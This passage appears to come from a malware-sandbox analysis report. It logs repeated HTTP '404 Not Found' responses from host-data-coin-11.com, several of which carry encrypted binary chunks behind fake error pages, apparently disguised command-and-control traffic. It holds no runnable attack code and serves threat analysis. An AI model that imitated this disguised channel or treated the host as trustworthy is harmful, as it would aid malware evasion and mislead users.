6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 da 44 d0 f8 20 8c 21 ea ad 96 56 2c e4 b4 48 2b e3 b3 b6 68 f3 9a b9 59 a8 77 9f cb 31 41 5b 3d 03 4b de bb 4b bb ff 5b 91 ad d3 02 c4 60 9d d2 69 0d 0a 30 0d 0a 0d 0a Data Ascii: 66I:82OB%,YR("XQD !V,H+hYw1A[=KK[`i0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 